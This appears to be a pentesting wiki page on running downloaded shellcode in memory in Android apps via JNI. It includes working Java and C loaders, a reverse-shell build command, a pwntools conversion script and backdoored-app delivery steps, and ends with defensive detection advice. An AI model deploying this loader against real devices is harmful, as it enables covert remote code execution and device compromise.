in-memory-jni-shellcode-execution.md (7781B)
1 --- 2 title: "Android In-Memory Native Code Execution via JNI (shellcode)" 3 section: "Mobile" 4 sectionSlug: "mobile-pentesting" 5 sourcePath: "src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Android In-Memory Native Code Execution via JNI (shellcode) 14 15 This page documents a lab pattern for executing native payloads in the memory of an Android app that already includes an authorized JNI library. The flow avoids writing a second ELF payload to disk: retrieve raw bytes over HTTPS, pass them to a JNI bridge, allocate writable memory, change it to executable, and call it.<sup>[[1]](#references)</sup> 16 17 Why it matters 18 - Reduces forensic artifacts (no ELF on disk) 19 - Compatible with “stage-2” native payloads generated from an ELF exploit binary 20 - Demonstrates a behavior defenders can hunt for: network retrieval followed by an anonymous RW-to-RX transition 21 22 High-level pattern 23 1) Fetch shellcode bytes in Java/Kotlin 24 2) Call a native method (JNI) with the byte array 25 3) In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint 26 27 Minimal example 28 29 Java/Kotlin side 30 ```java 31 public final class NativeExec { 32 static { System.loadLibrary("nativeexec"); } 33 public static native int run(byte[] sc); 34 } 35 36 // Download and execute (simplified) 37 byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes(); 38 int rc = NativeExec.run(sc); 39 ``` 40 41 Declare `<uses-permission android:name="android.permission.INTERNET" />`, run the network operation off the UI thread, close the stream, enforce a maximum response size, and authenticate the payload. `InputStream.readAllBytes()` is not available on every Android API level, so use a bounded compatibility helper or an HTTP client when targeting older devices.<sup>[[6]](#references)</sup> 42 43 C JNI side (arm64/amd64) 44 ```c 45 #include <jni.h> 46 #include <sys/mman.h> 47 #include <string.h> 48 #include <unistd.h> 49 50 static inline void flush_icache(void *p, size_t len) { 51 __builtin___clear_cache((char*)p, (char*)p + len); 52 } 53 54 JNIEXPORT jint JNICALL 55 Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) { 56 jsize len = (*env)->GetArrayLength(env, sc); 57 if (len <= 0) return -1; 58 59 // RW anonymous buffer 60 void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 61 if (buf == MAP_FAILED) return -2; 62 63 jboolean isCopy = 0; 64 jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy); 65 if (!bytes) { munmap(buf, len); return -3; } 66 67 memcpy(buf, bytes, len); 68 (*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT); 69 70 // Make RX and execute 71 if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; } 72 flush_icache(buf, len); 73 74 int (*entry)(void) = (int (*)(void))buf; 75 int ret = entry(); 76 77 // Optional: restore RW and wipe 78 mprotect(buf, len, PROT_READ | PROT_WRITE); 79 memset(buf, 0, len); 80 munmap(buf, len); 81 return ret; 82 } 83 ``` 84 85 Notes and caveats 86 - W^X/execmem: the sample never maps a page writable and executable at the same time; it transitions RW to RX. Whether an anonymous executable mapping is permitted depends on Android version, app domain, SELinux/vendor policy, and device hardening. ART does maintain a managed JIT code cache, preserving the earlier page's useful executable-pool distinction, but that cache is not a general JNI API or a drop-in policy bypass. Treat `mprotect()` failure as a stop condition rather than attempting to evade policy.<sup>[[9]](#references)</sup> 87 - Architectures: Ensure the shellcode architecture matches the device (arm64-v8a commonly; x86 only on emulators). 88 - Entrypoint contract: Decide a convention for the shellcode entry (no arguments versus a structure pointer), keep raw shellcode position-independent, obey the platform ABI (stack alignment and callee-saved registers), and return an `int` if using this function pointer type. 89 - Stability: Clear instruction cache before jumping; mismatched cache can crash on ARM. 90 91 Packaging ELF → position‑independent shellcode 92 A robust operator pipeline is to:<sup>[[2]](#references)[[3]](#references)</sup> 93 - Build the test payload as a static ELF using a compiler that targets the device architecture and a compatible Linux ABI 94 - Convert the ELF into a self‑loading shellcode blob using pwntools’ shellcraft.loader_append 95 96 Build 97 ```bash 98 # amd64 emulator example; use an AArch64 cross-compiler for arm64 devices 99 musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \ 100 -DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" 101 ``` 102 103 Transform ELF to raw shellcode (amd64 example) 104 ```python 105 # exp2sc.py 106 from pwn import * 107 context.clear(arch='amd64') 108 elf = ELF('./exploit') 109 loader = shellcraft.amd64.linux.loader_append(elf.data) 110 sc = asm(loader) 111 open('sc','wb').write(sc) 112 print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}") 113 ``` 114 115 Why `loader_append` works: it emits architecture-specific loader shellcode followed by the ELF, maps the embedded program segments, and transfers control to its entry point. This does not make an arbitrary ELF compatible with Android: architecture, system-call ABI, static/dynamic linking, relocations, and the process security policy still have to match.<sup>[[3]](#references)[[7]](#references)</sup> 116 117 Delivery 118 - Host `sc` on an authenticated HTTPS server you control; cleartext HTTP is disabled by default for apps targeting Android 9 or later.<sup>[[8]](#references)</sup> 119 - The backdoored/test app downloads sc and invokes the JNI bridge shown above 120 - Listen on your operator box for any reverse connection the kernel/user-mode payload establishes<sup>[[5]](#references)</sup> 121 122 Validation workflow for kernel payloads<sup>[[4]](#references)</sup> 123 - Use a symbolized vmlinux for fast reversing/offset recovery 124 - Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ) 125 126 Hardening/Detection (blue team) 127 - Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy) 128 - Enforce strict code integrity (no dynamic native loading from network) and validate update channels 129 - Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps 130 131 ## References 132 133 - [1] [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone) 134 - [2] [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh) 135 - [3] [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py) 136 - [4] [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c) 137 - [5] [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md) 138 - [6] [Android Developers - Connect to the network](https://developer.android.com/develop/connectivity/network-ops/connecting) 139 - [7] [pwntools documentation - AMD64 Linux `loader_append`](https://docs.pwntools.com/en/stable/shellcraft/amd64.html#pwnlib.shellcraft.amd64.linux.loader_append) 140 - [8] [Android 9 behavior changes - cleartext network traffic](https://developer.android.com/about/versions/pie/android-9.0-changes-28) 141 - [9] [Android Open Source Project - ART just-in-time compiler and code cache](https://source.android.com/docs/core/runtime/jit-compiler)